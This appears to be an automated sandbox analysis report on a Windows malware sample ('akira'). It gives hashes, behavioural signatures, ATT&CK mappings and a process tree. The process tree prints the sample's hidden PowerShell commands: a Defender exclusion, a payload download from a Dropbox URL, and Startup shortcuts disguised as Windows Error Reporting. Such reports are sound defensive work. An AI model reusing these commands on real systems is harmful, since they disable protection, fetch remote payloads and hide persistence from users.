d938b5136d13fbbb4d8c677bc1d05b81ffd3bc0167589541b4ba8e5534508e8c

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
04/08/2026, 13:07

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-03_0c891d1001c4afc7c8d794324b2f2360_akira.exe
Size 75.5MB
Sample260804-qctppsfl31
SHA256 d938b5136d13fbbb4d8c677bc1d05b81ffd3bc0167589541b4ba8e5534508e8c
MD5 0c891d1001c4afc7c8d794324b2f2360
SHA1 f24de9c0b31b6aa65cb7fb8f1793c8752ffec623
SHA512 510fe923a32b4a0bd09408f4024f95b4313e4c7d0e6c0fed20ef9592a8493782891669a5b287585381a6418c31fc3a3fd047dc2870ff48f2182ba93da26b9482
SSDEEP 12288:+K9/gTk669h/OT7VhaThf6Hvr9JDy7OSetn:+08kJC+Tx8RbSetn
TLSH
T1BE087E92BAC46CFDD602C03C4267937A623A7BCA53215FF705A95A302F97DC16E0A71D
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

Detects executables referencing virtualization MAC addresses 6 IoCs

resource	yara_rule
behavioral1/memory/4584-27-0x00007FF659960000-0x00007FF6599CF000-memory.dmp	INDICATOR_SUSPICIOUS_VM_Evasion_MACAddrComb
behavioral1/memory/4584-61-0x00007FF659960000-0x00007FF6599CF000-memory.dmp	INDICATOR_SUSPICIOUS_VM_Evasion_MACAddrComb
behavioral1/memory/2708-72-0x00007FF73DDB0000-0x00007FF73DE1F000-memory.dmp	INDICATOR_SUSPICIOUS_VM_Evasion_MACAddrComb
behavioral1/memory/1112-85-0x00007FF7D65F0000-0x00007FF7D665F000-memory.dmp	INDICATOR_SUSPICIOUS_VM_Evasion_MACAddrComb
behavioral1/memory/4244-86-0x00007FF73DDB0000-0x00007FF73DE1F000-memory.dmp	INDICATOR_SUSPICIOUS_VM_Evasion_MACAddrComb
behavioral1/memory/4240-87-0x00007FF7D65F0000-0x00007FF7D665F000-memory.dmp	INDICATOR_SUSPICIOUS_VM_Evasion_MACAddrComb

Looks for VirtualBox drivers on disk 2 TTPs 4 IoCs

defense_evasion

File and Directory Discovery

T1083

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
File opened (read-only)	C:\Windows\System32\drivers\vboxguest.sys	2026-08-03_0c891d1001c4afc7c8d794324b2f2360_akira.exe
File opened (read-only)	C:\Windows\System32\drivers\vboxguest.sys	WerFault.exe
File opened (read-only)	C:\Windows\System32\drivers\vboxguest.sys	WerFault.exe
File opened (read-only)	C:\Windows\System32\drivers\vboxguest.sys	monitor.exe

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
7	3288	powershell.exe
10	3288	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 10 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
6028	powershell.exe
4708	powershell.exe
4044	powershell.exe
4604	powershell.exe
3288	powershell.exe
6112	powershell.exe
4604	powershell.exe
4708	powershell.exe
4044	powershell.exe
3288	powershell.exe

Looks for VMWare drivers on disk 2 TTPs 4 IoCs

defense_evasion

File and Directory Discovery

T1083

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
File opened (read-only)	C:\Windows\System32\drivers\vmmouse.sys	WerFault.exe
File opened (read-only)	C:\Windows\System32\drivers\vmmouse.sys	WerFault.exe
File opened (read-only)	C:\Windows\System32\drivers\vmmouse.sys	monitor.exe
File opened (read-only)	C:\Windows\System32\drivers\vmmouse.sys	2026-08-03_0c891d1001c4afc7c8d794324b2f2360_akira.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\Control Panel\International\Geo\Nation	2026-08-03_0c891d1001c4afc7c8d794324b2f2360_akira.exe

Creates a file in the Startup directory 1 TTPs 2 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WerFault.exe.lnk	powershell.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\monitor.lnk	powershell.exe

Executes dropped EXE 4 IoCs

pid	Process
2708	WerFault.exe
4244	WerFault.exe
4240	monitor.exe
1112	monitor.exe

Looks up external IP address via web service 1 TTPs 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
39	api.ipify.org
40	api.ipify.org

Drops file in System32 directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\test_admin.tmp	2026-08-03_0c891d1001c4afc7c8d794324b2f2360_akira.exe
File opened for modification	C:\Windows\System32\test_admin.tmp	WerFault.exe
File opened for modification	C:\Windows\System32\test_admin.tmp	monitor.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1316	cmd.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
4604	powershell.exe
4604	powershell.exe
3288	powershell.exe
3288	powershell.exe
6112	powershell.exe
6112	powershell.exe
6028	powershell.exe
6028	powershell.exe
4708	powershell.exe
4708	powershell.exe
4708	powershell.exe
4044	powershell.exe
4044	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	4604	powershell.exe
Token: SeDebugPrivilege	3288	powershell.exe
Token: SeDebugPrivilege	6112	powershell.exe
Token: SeDebugPrivilege	6028	powershell.exe
Token: SeDebugPrivilege	4708	powershell.exe
Token: SeDebugPrivilege	4044	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 4584 wrote to memory of 4604	4584	2026-08-03_0c891d1001c4afc7c8d794324b2f2360_akira.exe	84
PID 4584 wrote to memory of 3288	4584	2026-08-03_0c891d1001c4afc7c8d794324b2f2360_akira.exe	86
PID 4584 wrote to memory of 6112	4584	2026-08-03_0c891d1001c4afc7c8d794324b2f2360_akira.exe	104
PID 4584 wrote to memory of 6028	4584	2026-08-03_0c891d1001c4afc7c8d794324b2f2360_akira.exe	106
PID 2708 wrote to memory of 4708	2708	WerFault.exe	110
PID 4584 wrote to memory of 1316	4584	2026-08-03_0c891d1001c4afc7c8d794324b2f2360_akira.exe	112
PID 4584 wrote to memory of 4244	4584	2026-08-03_0c891d1001c4afc7c8d794324b2f2360_akira.exe	114
PID 1316 wrote to memory of 4240	1316	cmd.exe	115
PID 1112 wrote to memory of 4044	1112	monitor.exe	118

C:\Users\Admin\AppData\Local\Temp\2026-08-03_0c891d1001c4afc7c8d794324b2f2360_akira.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-03_0c891d1001c4afc7c8d794324b2f2360_akira.exe"
1⤵
- Looks for VirtualBox drivers on disk
- Looks for VMWare drivers on disk
- Checks computer location settings
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:4584
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\WER' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4604
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$ProgressPreference='SilentlyContinue'; Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/wsnb7liivxcs9zaxghnyv/777.sgn?rlkey=mq9c5ws3n5t6ajmggcg4m0xsi&st=qooyxj50&dl=1' -OutFile 'C:\ProgramData\Microsoft\Windows\WER\werdata.db'"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3288
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -WindowStyle Hidden -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WerFault.exe.lnk'); $Shortcut.TargetPath = 'C:\ProgramData\Microsoft\Windows\WER\WerFault.exe'; $Shortcut.WorkingDirectory = 'C:\ProgramData\Microsoft\Windows\WER'; $Shortcut.Description = 'Windows Error Reporting Service'; $Shortcut.Save()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Creates a file in the Startup directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:6112
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -WindowStyle Hidden -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\monitor.lnk'); $Shortcut.TargetPath = 'C:\ProgramData\Microsoft\Windows\WER\monitor.exe'; $Shortcut.WorkingDirectory = 'C:\ProgramData\Microsoft\Windows\WER'; $Shortcut.Description = 'Windows Error Reporting Monitor'; $Shortcut.WindowStyle = 7; $Shortcut.Save()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Creates a file in the Startup directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:6028
- C:\Windows\system32\cmd.exe
  "cmd" /c start "" C:\ProgramData\Microsoft\Windows\WER\monitor.exe
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1316
- - C:\ProgramData\Microsoft\Windows\WER\monitor.exe
    C:\ProgramData\Microsoft\Windows\WER\monitor.exe
    3⤵
    - Executes dropped EXE
    PID:4240
- C:\ProgramData\Microsoft\Windows\WER\WerFault.exe
  "C:\ProgramData\Microsoft\Windows\WER\WerFault.exe"
  2⤵
  - Looks for VirtualBox drivers on disk
  - Looks for VMWare drivers on disk
  - Executes dropped EXE
  - Checks processor information in registry
  PID:4244

C:\PROGRA~3\MICROS~1\Windows\WER\WerFault.exe
C:\PROGRA~3\MICROS~1\Windows\WER\WerFault.exe
1⤵
- Looks for VirtualBox drivers on disk
- Looks for VMWare drivers on disk
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:2708
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\WER' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4708

C:\PROGRA~3\MICROS~1\Windows\WER\monitor.exe
C:\PROGRA~3\MICROS~1\Windows\WER\monitor.exe
1⤵
- Looks for VirtualBox drivers on disk
- Looks for VMWare drivers on disk
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1112
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\WER' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4044

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

File and Directory Discovery

T1083

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

werdata.db

Path C:\ProgramData\Microsoft\Windows\WER\werdata.db
Size 12.4MB
SHA256 3f71282cafee16fd77480dee5b76ce7c53c40e0813cc61ddd27292acf7036030
MD5 6370511f8559dc0800340ee95b64222f
SHA1 506e8ad73d5a8c49cc50da9db55bfe32545b2fcc
SHA512 c7378f79a8b628769dbe11a7f3316515942beb4db951c013579d5107d46144ce25768f2568d823f295f4d11d9a01d3b7c8b36d3d5226465fe2c8b2668d7fc5ec
SSDEEP 393216:cQr1f7ArUqp/WcPPhx4K1Ftx6s421Ox1p7oY:ztMRWc34O56m+p7oY
TLSH
T18BD633EA50F41431922487F40D3DE81150B3E8E3D8A1DCA5BE367EEAC8F64E55EA8C65
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
TLSH
T1CE51EE323375B1E888167F071E681A8053BF4355EA94AF1CB698621ED93641B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download